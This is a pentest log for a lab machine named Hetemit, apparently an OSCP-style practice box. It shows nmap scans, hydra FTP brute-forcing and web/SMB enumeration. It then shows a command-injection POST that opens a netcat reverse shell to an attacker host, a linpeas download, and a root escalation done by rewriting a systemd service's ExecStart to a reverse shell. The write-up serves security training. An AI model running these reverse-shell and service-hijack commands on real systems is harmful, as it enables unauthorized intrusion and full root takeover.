🧪 Pentest Log: {{date:2025-08-09}}

🔍 Target Information

• Machine Name: Hetemit
• IP Address: 192.168.223.117
• Operating System: Linux

ip=192.168.223.117

📡 Enumeration

🔌 Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 21

Anonymous Login

ftp anonymous@$ip

Bruteforce Common Credentials

hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt -6 ftp://$ip

Port 22

Port 80

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

curl -s http://$ip/ | html2markdown

Port 139,445

smbclient -L \\\\$ip\\

enum4linux -a $ip

Port 18000

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

curl -s http://$ip/ | html2markdown

Port 50000

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

curl -s http://$ip/ | html2markdown

found two directories appeals to be functions

/generate
/verify

💣 Exploitation

📌 Vulnerability Summary

• Service / Port: 50000
• Vulnerability Type: RCE

🚀 Exploit Execution

🔧 Exploit Method

• Manual
• Public Exploit
• Custom Script

Tool / Script Used:

curl -i http://$ip:50000/verify -X POST --data "code=nc 192.168.45.163 50000 -e /bin/bash"

nc -lvnp 50000

🧬 Privilege Escalation

👤 Current Access

• User: cmeeks
• Groups: cmeeks
• Shell Type: reverse shell

🔍 Enumeration

Linpeas:

wget http://192.168.45.163/linpeas.sh

chmod +x linpeas.sh

./linpeas.sh

found /etc/systemd/system/pythonapp.service

🔓 Privilege Escalation Exploit

📌 Exploit Summary

• Technique Used: Service Binary Hijacking
• Target Binary/Service: pythonapp.service
• Reference / Source: N/A

🔧 Exploit Steps

• Setup

ExecStart=nc 192.168.45.163 18000 -e /bin/bash
TimeoutSec=30
RestartSec=15s
User=root

• Smash to root

sudo /sbin/reboot

nc -lvnp 18000